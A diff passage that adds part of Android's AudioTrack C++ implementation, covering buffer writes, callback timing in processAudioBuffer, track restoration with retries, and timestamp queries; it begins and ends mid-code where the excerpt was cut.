+    mReleased += stepCount;
+    mInUnderrun = false;
+    mProxy->releaseBuffer(&buffer);
+
+    // restart track if it was disabled by audioflinger due to previous underrun
+    restartIfDisabled();
+}
+
+void AudioTrack::restartIfDisabled()
+{
+    int32_t flags = android_atomic_and(~CBLK_DISABLED, &mCblk->mFlags);
+    if ((mState == STATE_ACTIVE) && (flags & CBLK_DISABLED)) {
+        ALOGW("%s(%d): releaseBuffer() track %p disabled due to previous underrun, restarting",
+                __func__, mPortId, this);
+        // FIXME ignoring status
+        mAudioTrack->start();
+    }
+}
+
+// -------------------------------------------------------------------------
+
+ssize_t AudioTrack::write(const void* buffer, size_t userSize, bool blocking)
+{
+    if (mTransfer != TRANSFER_SYNC && mTransfer != TRANSFER_SYNC_NOTIF_CALLBACK) {
+        return INVALID_OPERATION;
+    }
+
+    if (isDirect()) {
+        AutoMutex lock(mLock);
+        int32_t flags = android_atomic_and(
+                            ~(CBLK_UNDERRUN | CBLK_LOOP_CYCLE | CBLK_LOOP_FINAL | CBLK_BUFFER_END),
+                            &mCblk->mFlags);
+        if (flags & CBLK_INVALID) {
+            return DEAD_OBJECT;
+        }
+    }
+
+    if (ssize_t(userSize) < 0 || (buffer == NULL && userSize != 0)) {
+        // Validity-check: user is most-likely passing an error code, and it would
+        // make the return value ambiguous (actualSize vs error).
+        ALOGE("%s(%d): AudioTrack::write(buffer=%p, size=%zu (%zd)",
+                __func__, mPortId, buffer, userSize, userSize);
+        return BAD_VALUE;
+    }
+
+    size_t written = 0;
+    Buffer audioBuffer;
+
+    while (userSize >= mFrameSize) {
+        audioBuffer.frameCount = userSize / mFrameSize;
+
+        status_t err = obtainBuffer(&audioBuffer,
+                blocking ? &ClientProxy::kForever : &ClientProxy::kNonBlocking);
+        if (err < 0) {
+            if (written > 0) {
+                break;
+            }
+            if (err == TIMED_OUT || err == -EINTR) {
+                err = WOULD_BLOCK;
+            }
+            return ssize_t(err);
+        }
+
+        size_t toWrite = audioBuffer.size;
+        memcpy(audioBuffer.i8, buffer, toWrite);
+        buffer = ((const char *) buffer) + toWrite;
+        userSize -= toWrite;
+        written += toWrite;
+
+        releaseBuffer(&audioBuffer);
+    }
+
+    if (written > 0) {
+        mFramesWritten += written / mFrameSize;
+
+        if (mTransfer == TRANSFER_SYNC_NOTIF_CALLBACK) {
+            const sp<AudioTrackThread> t = mAudioTrackThread;
+            if (t != 0) {
+                // causes wake up of the playback thread, that will callback the client for
+                // more data (with EVENT_CAN_WRITE_MORE_DATA) in processAudioBuffer()
+                t->wake();
+            }
+        }
+    }
+
+    return written;
+}
+
+// -------------------------------------------------------------------------
+
+nsecs_t AudioTrack::processAudioBuffer()
+{
+    // Currently the AudioTrack thread is not created if there are no callbacks.
+    // Would it ever make sense to run the thread, even without callbacks?
+    // If so, then replace this by checks at each use for mCbf != NULL.
+    LOG_ALWAYS_FATAL_IF(mCblk == NULL);
+
+    mLock.lock();
+    if (mAwaitBoost) {
+        mAwaitBoost = false;
+        mLock.unlock();
+        static const int32_t kMaxTries = 5;
+        int32_t tryCounter = kMaxTries;
+        uint32_t pollUs = 10000;
+        do {
+            int policy = sched_getscheduler(0) & ~SCHED_RESET_ON_FORK;
+            if (policy == SCHED_FIFO || policy == SCHED_RR) {
+                break;
+            }
+            usleep(pollUs);
+            pollUs <<= 1;
+        } while (tryCounter-- > 0);
+        if (tryCounter < 0) {
+            ALOGE("%s(%d): did not receive expected priority boost on time",
+                    __func__, mPortId);
+        }
+        // Run again immediately
+        return 0;
+    }
+
+    // Can only reference mCblk while locked
+    int32_t flags = android_atomic_and(
+        ~(CBLK_UNDERRUN | CBLK_LOOP_CYCLE | CBLK_LOOP_FINAL | CBLK_BUFFER_END), &mCblk->mFlags);
+
+    // Check for track invalidation
+    if (flags & CBLK_INVALID) {
+        // for offloaded tracks restoreTrack_l() will just update the sequence and clear
+        // AudioSystem cache. We should not exit here but after calling the callback so
+        // that the upper layers can recreate the track
+        if (!isOffloadedOrDirect_l() || (mSequence == mObservedSequence)) {
+            status_t status __unused = restoreTrack_l("processAudioBuffer");
+            // FIXME unused status
+            // after restoration, continue below to make sure that the loop and buffer events
+            // are notified because they have been cleared from mCblk->mFlags above.
+        }
+    }
+
+    bool waitStreamEnd = mState == STATE_STOPPING;
+    bool active = mState == STATE_ACTIVE;
+
+    // Manage underrun callback, must be done under lock to avoid race with releaseBuffer()
+    bool newUnderrun = false;
+    if (flags & CBLK_UNDERRUN) {
+#if 0
+        // Currently in shared buffer mode, when the server reaches the end of buffer,
+        // the track stays active in continuous underrun state.  It's up to the application
+        // to pause or stop the track, or set the position to a new offset within buffer.
+        // This was some experimental code to auto-pause on underrun.   Keeping it here
+        // in "if 0" so we can re-visit this if we add a real sequencer for shared memory content.
+        if (mTransfer == TRANSFER_SHARED) {
+            mState = STATE_PAUSED;
+            active = false;
+        }
+#endif
+        if (!mInUnderrun) {
+            mInUnderrun = true;
+            newUnderrun = true;
+        }
+    }
+
+    // Get current position of server
+    Modulo<uint32_t> position(updateAndGetPosition_l());
+
+    // Manage marker callback
+    bool markerReached = false;
+    Modulo<uint32_t> markerPosition(mMarkerPosition);
+    // uses 32 bit wraparound for comparison with position.
+    if (!mMarkerReached && markerPosition.value() > 0 && position >= markerPosition) {
+        mMarkerReached = markerReached = true;
+    }
+
+    // Determine number of new position callback(s) that will be needed, while locked
+    size_t newPosCount = 0;
+    Modulo<uint32_t> newPosition(mNewPosition);
+    uint32_t updatePeriod = mUpdatePeriod;
+    // FIXME fails for wraparound, need 64 bits
+    if (updatePeriod > 0 && position >= newPosition) {
+        newPosCount = ((position - newPosition).value() / updatePeriod) + 1;
+        mNewPosition += updatePeriod * newPosCount;
+    }
+
+    // Cache other fields that will be needed soon
+    uint32_t sampleRate = mSampleRate;
+    float speed = mPlaybackRate.mSpeed;
+    const uint32_t notificationFrames = mNotificationFramesAct;
+    if (mRefreshRemaining) {
+        mRefreshRemaining = false;
+        mRemainingFrames = notificationFrames;
+        mRetryOnPartialBuffer = false;
+    }
+    size_t misalignment = mProxy->getMisalignment();
+    uint32_t sequence = mSequence;
+    sp<AudioTrackClientProxy> proxy = mProxy;
+
+    // Determine the number of new loop callback(s) that will be needed, while locked.
+    int loopCountNotifications = 0;
+    uint32_t loopPeriod = 0; // time in frames for next EVENT_LOOP_END or EVENT_BUFFER_END
+
+    if (mLoopCount > 0) {
+        int loopCount;
+        size_t bufferPosition;
+        mStaticProxy->getBufferPositionAndLoopCount(&bufferPosition, &loopCount);
+        loopPeriod = ((loopCount > 0) ? mLoopEnd : mFrameCount) - bufferPosition;
+        loopCountNotifications = min(mLoopCountNotified - loopCount, kMaxLoopCountNotifications);
+        mLoopCountNotified = loopCount; // discard any excess notifications
+    } else if (mLoopCount < 0) {
+        // FIXME: We're not accurate with notification count and position with infinite looping
+        // since loopCount from server side will always return -1 (we could decrement it).
+        size_t bufferPosition = mStaticProxy->getBufferPosition();
+        loopCountNotifications = int((flags & (CBLK_LOOP_CYCLE | CBLK_LOOP_FINAL)) != 0);
+        loopPeriod = mLoopEnd - bufferPosition;
+    } else if (/* mLoopCount == 0 && */ mSharedBuffer != 0) {
+        size_t bufferPosition = mStaticProxy->getBufferPosition();
+        loopPeriod = mFrameCount - bufferPosition;
+    }
+
+    // These fields don't need to be cached, because they are assigned only by set():
+    //     mTransfer, mCbf, mUserData, mFormat, mFrameSize, mFlags
+    // mFlags is also assigned by createTrack_l(), but not the bit we care about.
+
+    mLock.unlock();
+
+    // get anchor time to account for callbacks.
+    const nsecs_t timeBeforeCallbacks = systemTime();
+
+    if (waitStreamEnd) {
+        // FIXME:  Instead of blocking in proxy->waitStreamEndDone(), Callback thread
+        // should wait on proxy futex and handle CBLK_STREAM_END_DONE within this function
+        // (and make sure we don't callback for more data while we're stopping).
+        // This helps with position, marker notifications, and track invalidation.
+        struct timespec timeout;
+        timeout.tv_sec = WAIT_STREAM_END_TIMEOUT_SEC;
+        timeout.tv_nsec = 0;
+
+        status_t status = proxy->waitStreamEndDone(&timeout);
+        switch (status) {
+        case NO_ERROR:
+        case DEAD_OBJECT:
+        case TIMED_OUT:
+            if (status != DEAD_OBJECT) {
+                // for DEAD_OBJECT, we do not send a EVENT_STREAM_END after stop();
+                // instead, the application should handle the EVENT_NEW_IAUDIOTRACK.
+                mCbf(EVENT_STREAM_END, mUserData, NULL);
+            }
+            {
+                AutoMutex lock(mLock);
+                // The previously assigned value of waitStreamEnd is no longer valid,
+                // since the mutex has been unlocked and either the callback handler
+                // or another thread could have re-started the AudioTrack during that time.
+                waitStreamEnd = mState == STATE_STOPPING;
+                if (waitStreamEnd) {
+                    mState = STATE_STOPPED;
+                    mReleased = 0;
+                }
+            }
+            if (waitStreamEnd && status != DEAD_OBJECT) {
+               return NS_INACTIVE;
+            }
+            break;
+        }
+        return 0;
+    }
+
+    // perform callbacks while unlocked
+    if (newUnderrun) {
+        mCbf(EVENT_UNDERRUN, mUserData, NULL);
+    }
+    while (loopCountNotifications > 0) {
+        mCbf(EVENT_LOOP_END, mUserData, NULL);
+        --loopCountNotifications;
+    }
+    if (flags & CBLK_BUFFER_END) {
+        mCbf(EVENT_BUFFER_END, mUserData, NULL);
+    }
+    if (markerReached) {
+        mCbf(EVENT_MARKER, mUserData, &markerPosition);
+    }
+    while (newPosCount > 0) {
+        size_t temp = newPosition.value(); // FIXME size_t != uint32_t
+        mCbf(EVENT_NEW_POS, mUserData, &temp);
+        newPosition += updatePeriod;
+        newPosCount--;
+    }
+
+    if (mObservedSequence != sequence) {
+        mObservedSequence = sequence;
+        mCbf(EVENT_NEW_IAUDIOTRACK, mUserData, NULL);
+        // for offloaded tracks, just wait for the upper layers to recreate the track
+        if (isOffloadedOrDirect()) {
+            return NS_INACTIVE;
+        }
+    }
+
+    // if inactive, then don't run me again until re-started
+    if (!active) {
+        return NS_INACTIVE;
+    }
+
+    // Compute the estimated time until the next timed event (position, markers, loops)
+    // FIXME only for non-compressed audio
+    uint32_t minFrames = ~0;
+    if (!markerReached && position < markerPosition) {
+        minFrames = (markerPosition - position).value();
+    }
+    if (loopPeriod > 0 && loopPeriod < minFrames) {
+        // loopPeriod is already adjusted for actual position.
+        minFrames = loopPeriod;
+    }
+    if (updatePeriod > 0) {
+        minFrames = min(minFrames, (newPosition - position).value());
+    }
+
+    // If > 0, poll periodically to recover from a stuck server.  A good value is 2.
+    static const uint32_t kPoll = 0;
+    if (kPoll > 0 && mTransfer == TRANSFER_CALLBACK && kPoll * notificationFrames < minFrames) {
+        minFrames = kPoll * notificationFrames;
+    }
+
+    // This "fudge factor" avoids soaking CPU, and compensates for late progress by server
+    static const nsecs_t kWaitPeriodNs = WAIT_PERIOD_MS * 1000000LL;
+    const nsecs_t timeAfterCallbacks = systemTime();
+
+    // Convert frame units to time units
+    nsecs_t ns = NS_WHENEVER;
+    if (minFrames != (uint32_t) ~0) {
+        // AudioFlinger consumption of client data may be irregular when coming out of device
+        // standby since the kernel buffers require filling. This is throttled to no more than 2x
+        // the expected rate in the MixerThread. Hence, we reduce the estimated time to wait by one
+        // half (but no more than half a second) to improve callback accuracy during these temporary
+        // data surges.
+        const nsecs_t estimatedNs = framesToNanoseconds(minFrames, sampleRate, speed);
+        constexpr nsecs_t maxThrottleCompensationNs = 500000000LL;
+        ns = estimatedNs - min(estimatedNs / 2, maxThrottleCompensationNs) + kWaitPeriodNs;
+        ns -= (timeAfterCallbacks - timeBeforeCallbacks);  // account for callback time
+        // TODO: Should we warn if the callback time is too long?
+        if (ns < 0) ns = 0;
+    }
+
+    // If not supplying data by EVENT_MORE_DATA or EVENT_CAN_WRITE_MORE_DATA, then we're done
+    if (mTransfer != TRANSFER_CALLBACK && mTransfer != TRANSFER_SYNC_NOTIF_CALLBACK) {
+        return ns;
+    }
+
+    // EVENT_MORE_DATA callback handling.
+    // Timing for linear pcm audio data formats can be derived directly from the
+    // buffer fill level.
+    // Timing for compressed data is not directly available from the buffer fill level,
+    // rather indirectly from waiting for blocking mode callbacks or waiting for obtain()
+    // to return a certain fill level.
+
+    struct timespec timeout;
+    const struct timespec *requested = &ClientProxy::kForever;
+    if (ns != NS_WHENEVER) {
+        timeout.tv_sec = ns / 1000000000LL;
+        timeout.tv_nsec = ns % 1000000000LL;
+        ALOGV("%s(%d): timeout %ld.%03d",
+                __func__, mPortId, timeout.tv_sec, (int) timeout.tv_nsec / 1000000);
+        requested = &timeout;
+    }
+
+    size_t writtenFrames = 0;
+    while (mRemainingFrames > 0) {
+
+        Buffer audioBuffer;
+        audioBuffer.frameCount = mRemainingFrames;
+        size_t nonContig;
+        status_t err = obtainBuffer(&audioBuffer, requested, NULL, &nonContig);
+        LOG_ALWAYS_FATAL_IF((err != NO_ERROR) != (audioBuffer.frameCount == 0),
+                "%s(%d): obtainBuffer() err=%d frameCount=%zu",
+                 __func__, mPortId, err, audioBuffer.frameCount);
+        requested = &ClientProxy::kNonBlocking;
+        size_t avail = audioBuffer.frameCount + nonContig;
+        ALOGV("%s(%d): obtainBuffer(%u) returned %zu = %zu + %zu err %d",
+                __func__, mPortId, mRemainingFrames, avail, audioBuffer.frameCount, nonContig, err);
+        if (err != NO_ERROR) {
+            if (err == TIMED_OUT || err == WOULD_BLOCK || err == -EINTR ||
+                    (isOffloaded() && (err == DEAD_OBJECT))) {
+                // FIXME bug 25195759
+                return 1000000;
+            }
+            ALOGE("%s(%d): Error %d obtaining an audio buffer, giving up.",
+                    __func__, mPortId, err);
+            return NS_NEVER;
+        }
+
+        if (mRetryOnPartialBuffer && audio_has_proportional_frames(mFormat)) {
+            mRetryOnPartialBuffer = false;
+            if (avail < mRemainingFrames) {
+                if (ns > 0) { // account for obtain time
+                    const nsecs_t timeNow = systemTime();
+                    ns = max((nsecs_t)0, ns - (timeNow - timeAfterCallbacks));
+                }
+
+                // delayNs is first computed by the additional frames required in the buffer.
+                nsecs_t delayNs = framesToNanoseconds(
+                        mRemainingFrames - avail, sampleRate, speed);
+
+                // afNs is the AudioFlinger mixer period in ns.
+                const nsecs_t afNs = framesToNanoseconds(mAfFrameCount, mAfSampleRate, speed);
+
+                // If the AudioTrack is double buffered based on the AudioFlinger mixer period,
+                // we may have a race if we wait based on the number of frames desired.
+                // This is a possible issue with resampling and AAudio.
+                //
+                // The granularity of audioflinger processing is one mixer period; if
+                // our wait time is less than one mixer period, wait at most half the period.
+                if (delayNs < afNs) {
+                    delayNs = std::min(delayNs, afNs / 2);
+                }
+
+                // adjust our ns wait by delayNs.
+                if (ns < 0 /* NS_WHENEVER */ || delayNs < ns) {
+                    ns = delayNs;
+                }
+                return ns;
+            }
+        }
+
+        size_t reqSize = audioBuffer.size;
+        if (mTransfer == TRANSFER_SYNC_NOTIF_CALLBACK) {
+            // when notifying client it can write more data, pass the total size that can be
+            // written in the next write() call, since it's not passed through the callback
+            audioBuffer.size += nonContig;
+        }
+        mCbf(mTransfer == TRANSFER_CALLBACK ? EVENT_MORE_DATA : EVENT_CAN_WRITE_MORE_DATA,
+                mUserData, &audioBuffer);
+        size_t writtenSize = audioBuffer.size;
+
+        // Validity check on returned size
+        if (ssize_t(writtenSize) < 0 || writtenSize > reqSize) {
+            ALOGE("%s(%d): EVENT_MORE_DATA requested %zu bytes but callback returned %zd bytes",
+                    __func__, mPortId, reqSize, ssize_t(writtenSize));
+            return NS_NEVER;
+        }
+
+        if (writtenSize == 0) {
+            if (mTransfer == TRANSFER_SYNC_NOTIF_CALLBACK) {
+                // The callback EVENT_CAN_WRITE_MORE_DATA was processed in the JNI of
+                // android.media.AudioTrack. The JNI is not using the callback to provide data,
+                // it only signals to the Java client that it can provide more data, which
+                // this track is read to accept now.
+                // The playback thread will be awaken at the next ::write()
+                return NS_WHENEVER;
+            }
+            // The callback is done filling buffers
+            // Keep this thread going to handle timed events and
+            // still try to get more data in intervals of WAIT_PERIOD_MS
+            // but don't just loop and block the CPU, so wait
+
+            // mCbf(EVENT_MORE_DATA, ...) might either
+            // (1) Block until it can fill the buffer, returning 0 size on EOS.
+            // (2) Block until it can fill the buffer, returning 0 data (silence) on EOS.
+            // (3) Return 0 size when no data is available, does not wait for more data.
+            //
+            // (1) and (2) occurs with AudioPlayer/AwesomePlayer; (3) occurs with NuPlayer.
+            // We try to compute the wait time to avoid a tight sleep-wait cycle,
+            // especially for case (3).
+            //
+            // The decision to support (1) and (2) affect the sizing of mRemainingFrames
+            // and this loop; whereas for case (3) we could simply check once with the full
+            // buffer size and skip the loop entirely.
+
+            nsecs_t myns;
+            if (audio_has_proportional_frames(mFormat)) {
+                // time to wait based on buffer occupancy
+                const nsecs_t datans = mRemainingFrames <= avail ? 0 :
+                        framesToNanoseconds(mRemainingFrames - avail, sampleRate, speed);
+                // audio flinger thread buffer size (TODO: adjust for fast tracks)
+                // FIXME: use mAfFrameCountHAL instead of mAfFrameCount below for fast tracks.
+                const nsecs_t afns = framesToNanoseconds(mAfFrameCount, mAfSampleRate, speed);
+                // add a half the AudioFlinger buffer time to avoid soaking CPU if datans is 0.
+                myns = datans + (afns / 2);
+            } else {
+                // FIXME: This could ping quite a bit if the buffer isn't full.
+                // Note that when mState is stopping we waitStreamEnd, so it never gets here.
+                myns = kWaitPeriodNs;
+            }
+            if (ns > 0) { // account for obtain and callback time
+                const nsecs_t timeNow = systemTime();
+                ns = max((nsecs_t)0, ns - (timeNow - timeAfterCallbacks));
+            }
+            if (ns < 0 /* NS_WHENEVER */ || myns < ns) {
+                ns = myns;
+            }
+            return ns;
+        }
+
+        size_t releasedFrames = writtenSize / mFrameSize;
+        audioBuffer.frameCount = releasedFrames;
+        mRemainingFrames -= releasedFrames;
+        if (misalignment >= releasedFrames) {
+            misalignment -= releasedFrames;
+        } else {
+            misalignment = 0;
+        }
+
+        releaseBuffer(&audioBuffer);
+        writtenFrames += releasedFrames;
+
+        // FIXME here is where we would repeat EVENT_MORE_DATA again on same advanced buffer
+        // if callback doesn't like to accept the full chunk
+        if (writtenSize < reqSize) {
+            continue;
+        }
+
+        // There could be enough non-contiguous frames available to satisfy the remaining request
+        if (mRemainingFrames <= nonContig) {
+            continue;
+        }
+
+#if 0
+        // This heuristic tries to collapse a series of EVENT_MORE_DATA that would total to a
+        // sum <= notificationFrames.  It replaces that series by at most two EVENT_MORE_DATA
+        // that total to a sum == notificationFrames.
+        if (0 < misalignment && misalignment <= mRemainingFrames) {
+            mRemainingFrames = misalignment;
+            return ((double)mRemainingFrames * 1100000000) / ((double)sampleRate * speed);
+        }
+#endif
+
+    }
+    if (writtenFrames > 0) {
+        AutoMutex lock(mLock);
+        mFramesWritten += writtenFrames;
+    }
+    mRemainingFrames = notificationFrames;
+    mRetryOnPartialBuffer = true;
+
+    // A lot has transpired since ns was calculated, so run again immediately and re-calculate
+    return 0;
+}
+
+status_t AudioTrack::restoreTrack_l(const char *from)
+{
+    ALOGW("%s(%d): dead IAudioTrack, %s, creating a new one from %s()",
+            __func__, mPortId, isOffloadedOrDirect_l() ? "Offloaded or Direct" : "PCM", from);
+    ++mSequence;
+
+    // refresh the audio configuration cache in this process to make sure we get new
+    // output parameters and new IAudioFlinger in createTrack_l()
+    AudioSystem::clearAudioConfigCache();
+
+    if (isOffloadedOrDirect_l() || mDoNotReconnect) {
+        // FIXME re-creation of offloaded and direct tracks is not yet implemented;
+        // reconsider enabling for linear PCM encodings when position can be preserved.
+        return DEAD_OBJECT;
+    }
+
+    // Save so we can return count since creation.
+    mUnderrunCountOffset = getUnderrunCount_l();
+
+    // save the old static buffer position
+    uint32_t staticPosition = 0;
+    size_t bufferPosition = 0;
+    int loopCount = 0;
+    if (mStaticProxy != 0) {
+        mStaticProxy->getBufferPositionAndLoopCount(&bufferPosition, &loopCount);
+        staticPosition = mStaticProxy->getPosition().unsignedValue();
+    }
+
+    // See b/74409267. Connecting to a BT A2DP device supporting multiple codecs
+    // causes a lot of churn on the service side, and it can reject starting
+    // playback of a previously created track. May also apply to other cases.
+    const int INITIAL_RETRIES = 3;
+    int retries = INITIAL_RETRIES;
+retry:
+    if (retries < INITIAL_RETRIES) {
+        // See the comment for clearAudioConfigCache at the start of the function.
+        AudioSystem::clearAudioConfigCache();
+    }
+    mFlags = mOrigFlags;
+
+    // If a new IAudioTrack is successfully created, createTrack_l() will modify the
+    // following member variables: mAudioTrack, mCblkMemory and mCblk.
+    // It will also delete the strong references on previous IAudioTrack and IMemory.
+    // If a new IAudioTrack cannot be created, the previous (dead) instance will be left intact.
+    status_t result = createTrack_l();
+
+    if (result == NO_ERROR) {
+        // take the frames that will be lost by track recreation into account in saved position
+        // For streaming tracks, this is the amount we obtained from the user/client
+        // (not the number actually consumed at the server - those are already lost).
+        if (mStaticProxy == 0) {
+            mPosition = mReleased;
+        }
+        // Continue playback from last known position and restore loop.
+        if (mStaticProxy != 0) {
+            if (loopCount != 0) {
+                mStaticProxy->setBufferPositionAndLoop(bufferPosition,
+                        mLoopStart, mLoopEnd, loopCount);
+            } else {
+                mStaticProxy->setBufferPosition(bufferPosition);
+                if (bufferPosition == mFrameCount) {
+                    ALOGD("%s(%d): restoring track at end of static buffer", __func__, mPortId);
+                }
+            }
+        }
+        // restore volume handler
+        mVolumeHandler->forall([this](const VolumeShaper &shaper) -> VolumeShaper::Status {
+            sp<VolumeShaper::Operation> operationToEnd =
+                    new VolumeShaper::Operation(shaper.mOperation);
+            // TODO: Ideally we would restore to the exact xOffset position
+            // as returned by getVolumeShaperState(), but we don't have that
+            // information when restoring at the client unless we periodically poll
+            // the server or create shared memory state.
+            //
+            // For now, we simply advance to the end of the VolumeShaper effect
+            // if it has been started.
+            if (shaper.isStarted()) {
+                operationToEnd->setNormalizedTime(1.f);
+            }
+            return mAudioTrack->applyVolumeShaper(shaper.mConfiguration, operationToEnd);
+        });
+
+        if (mState == STATE_ACTIVE) {
+            result = mAudioTrack->start();
+        }
+        // server resets to zero so we offset
+        mFramesWrittenServerOffset =
+                mStaticProxy.get() != nullptr ? staticPosition : mFramesWritten;
+        mFramesWrittenAtRestore = mFramesWrittenServerOffset;
+    }
+    if (result != NO_ERROR) {
+        ALOGW("%s(%d): failed status %d, retries %d", __func__, mPortId, result, retries);
+        if (--retries > 0) {
+            // leave time for an eventual race condition to clear before retrying
+            usleep(500000);
+            goto retry;
+        }
+        // if no retries left, set invalid bit to force restoring at next occasion
+        // and avoid inconsistent active state on client and server sides
+        if (mCblk != nullptr) {
+            android_atomic_or(CBLK_INVALID, &mCblk->mFlags);
+        }
+    }
+    return result;
+}
+
+Modulo<uint32_t> AudioTrack::updateAndGetPosition_l()
+{
+    // This is the sole place to read server consumed frames
+    Modulo<uint32_t> newServer(mProxy->getPosition());
+    const int32_t delta = (newServer - mServer).signedValue();
+    // TODO There is controversy about whether there can be "negative jitter" in server position.
+    //      This should be investigated further, and if possible, it should be addressed.
+    //      A more definite failure mode is infrequent polling by client.
+    //      One could call (void)getPosition_l() in releaseBuffer(),
+    //      so mReleased and mPosition are always lock-step as best possible.
+    //      That should ensure delta never goes negative for infrequent polling
+    //      unless the server has more than 2^31 frames in its buffer,
+    //      in which case the use of uint32_t for these counters has bigger issues.
+    ALOGE_IF(delta < 0,
+            "%s(%d): detected illegal retrograde motion by the server: mServer advanced by %d",
+            __func__, mPortId, delta);
+    mServer = newServer;
+    if (delta > 0) { // avoid retrograde
+        mPosition += delta;
+    }
+    return mPosition;
+}
+
+bool AudioTrack::isSampleRateSpeedAllowed_l(uint32_t sampleRate, float speed)
+{
+    updateLatency_l();
+    // applicable for mixing tracks only (not offloaded or direct)
+    if (mStaticProxy != 0) {
+        return true; // static tracks do not have issues with buffer sizing.
+    }
+    const size_t minFrameCount =
+            AudioSystem::calculateMinFrameCount(mAfLatency, mAfFrameCount, mAfSampleRate,
+                                            sampleRate, speed /*, 0 mNotificationsPerBufferReq*/);
+    const bool allowed = mFrameCount >= minFrameCount;
+    ALOGD_IF(!allowed,
+            "%s(%d): denied "
+            "mAfLatency:%u  mAfFrameCount:%zu  mAfSampleRate:%u  sampleRate:%u  speed:%f "
+            "mFrameCount:%zu < minFrameCount:%zu",
+            __func__, mPortId,
+            mAfLatency, mAfFrameCount, mAfSampleRate, sampleRate, speed,
+            mFrameCount, minFrameCount);
+    return allowed;
+}
+
+status_t AudioTrack::setParameters(const String8& keyValuePairs)
+{
+    AutoMutex lock(mLock);
+    return mAudioTrack->setParameters(keyValuePairs);
+}
+
+status_t AudioTrack::selectPresentation(int presentationId, int programId)
+{
+    AutoMutex lock(mLock);
+    AudioParameter param = AudioParameter();
+    param.addInt(String8(AudioParameter::keyPresentationId), presentationId);
+    param.addInt(String8(AudioParameter::keyProgramId), programId);
+    ALOGV("%s(%d): PresentationId/ProgramId[%s]",
+            __func__, mPortId, param.toString().string());
+
+    return mAudioTrack->setParameters(param.toString());
+}
+
+VolumeShaper::Status AudioTrack::applyVolumeShaper(
+        const sp<VolumeShaper::Configuration>& configuration,
+        const sp<VolumeShaper::Operation>& operation)
+{
+    AutoMutex lock(mLock);
+    mVolumeHandler->setIdIfNecessary(configuration);
+    VolumeShaper::Status status = mAudioTrack->applyVolumeShaper(configuration, operation);
+
+    if (status == DEAD_OBJECT) {
+        if (restoreTrack_l("applyVolumeShaper") == OK) {
+            status = mAudioTrack->applyVolumeShaper(configuration, operation);
+        }
+    }
+    if (status >= 0) {
+        // save VolumeShaper for restore
+        mVolumeHandler->applyVolumeShaper(configuration, operation);
+        if (mState == STATE_ACTIVE || mState == STATE_STOPPING) {
+            mVolumeHandler->setStarted();
+        }
+    } else {
+        // warn only if not an expected restore failure.
+        ALOGW_IF(!((isOffloadedOrDirect_l() || mDoNotReconnect) && status == DEAD_OBJECT),
+                "%s(%d): applyVolumeShaper failed: %d", __func__, mPortId, status);
+    }
+    return status;
+}
+
+sp<VolumeShaper::State> AudioTrack::getVolumeShaperState(int id)
+{
+    AutoMutex lock(mLock);
+    sp<VolumeShaper::State> state = mAudioTrack->getVolumeShaperState(id);
+    if (state.get() == nullptr && (mCblk->mFlags & CBLK_INVALID) != 0) {
+        if (restoreTrack_l("getVolumeShaperState") == OK) {
+            state = mAudioTrack->getVolumeShaperState(id);
+        }
+    }
+    return state;
+}
+
+status_t AudioTrack::getTimestamp(ExtendedTimestamp *timestamp)
+{
+    if (timestamp == nullptr) {
+        return BAD_VALUE;
+    }
+    AutoMutex lock(mLock);
+    return getTimestamp_l(timestamp);
+}
+
+status_t AudioTrack::getTimestamp_l(ExtendedTimestamp *timestamp)
+{
+    if (mCblk->mFlags & CBLK_INVALID) {
+        const status_t status = restoreTrack_l("getTimestampExtended");
+        if (status != OK) {
+            // per getTimestamp() API doc in header, we return DEAD_OBJECT here,
+            // recommending that the track be recreated.
+            return DEAD_OBJECT;
+        }
+    }
+    // check for offloaded/direct here in case restoring somehow changed those flags.
+    if (isOffloadedOrDirect_l()) {
+        return INVALID_OPERATION; // not supported
+    }
+    status_t status = mProxy->getTimestamp(timestamp);
+    LOG_ALWAYS_FATAL_IF(status != OK, "%s(%d): status %d not allowed from proxy getTimestamp",
+            __func__, mPortId, status);
+    bool found = false;
+    timestamp->mPosition[ExtendedTimestamp::LOCATION_CLIENT] = mFramesWritten;
+    timestamp->mTimeNs[ExtendedTimestamp::LOCATION_CLIENT] = 0;
+    // server side frame offset in case AudioTrack has been restored.
+    for (int i = ExtendedTimestamp::LOCATION_SERVER;
+            i < ExtendedTimestamp::LOCATION_MAX; ++i) {
+        if (timestamp->mTimeNs[i] >= 0) {
+            // apply server offset (frames flushed is ignored
+            // so we don't report the jump when the flush occurs).
+            timestamp->mPosition[i] += mFramesWrittenServerOffset;
+            found = true;
+        }
+    }
+    return found ? OK : WOULD_BLOCK;
+}
+
+status_t AudioTrack::getTimestamp(AudioTimestamp& timestamp)
+{
+    AutoMutex lock(mLock);
+    return getTimestamp_l(timestamp);
+}
+
+status_t AudioTrack::getTimestamp_l(AudioTimestamp& timestamp)
+{
+    bool previousTimestampValid = mPreviousTimestampValid;
+    // Set false here to cover all the error return cases.
+    mPreviousTimestampValid = false;
+
+    switch (mState) {
+    case STATE_ACTIVE:
+    case STATE_PAUSED:
+        break; // handle below
+    case STATE_FLUSHED:
+    case STATE_STOPPED:
+        return WOULD_BLOCK;
+    case STATE_STOPPING:
+    case STATE_PAUSED_STOPPING:
+        if (!isOffloaded_l()) {
+            return INVALID_OPERATION;
+        }
+        break; // offloaded tracks handled below
+    default:
+        LOG_ALWAYS_FATAL("%s(%d): Invalid mState in getTimestamp(): %d",
+               __func__, mPortId, mState);
+        break;
+    }
+
+    if (mCblk->mFlags & CBLK_INVALID) {
+        const status_t status = restoreTrack_l("getTimestamp");
+        if (status != OK) {
+            // per getTimestamp() API doc in header, we return DEAD_OBJECT here,
+            // recommending that the track be recreated.
+            return DEAD_OBJECT;
+        }
+    }
+
+    // The presented frame count must always lag behind the consumed frame count.
+    // To avoid a race, read the presented frames first.  This ensures that presented <= consumed.
+
+    status_t status;
+    if (isOffloadedOrDirect_l()) {
+        // use Binder to get timestamp
+        status = mAudioTrack->getTimestamp(timestamp);
+    } else {
+        // read timestamp from shared memory
+        ExtendedTimestamp ets;
+        status = mProxy->getTimestamp(&ets);
+        if (status == OK) {
+            ExtendedTimestamp::Location location;
+            status = ets.getBestTimestamp(&timestamp, &location);
+
+            if (status == OK) {
+                updateLatency_l();
+                // It is possible that the best location has moved from the kernel to the server.
+                // In this case we adjust the position from the previous computed latency.
+                if (location == ExtendedTimestamp::LOCATION_SERVER) {
+                    ALOGW_IF(mPreviousLocation == ExtendedTimestamp::LOCATION_KERNEL,
+                            "%s(%d): location moved from kernel to server",
+                            __func__, mPortId);
+                    // check that the last kernel OK time info exists and the positions
+                    // are valid (if they predate the current track, the positions may
+                    // be zero or negative).
+                    const int64_t frames =
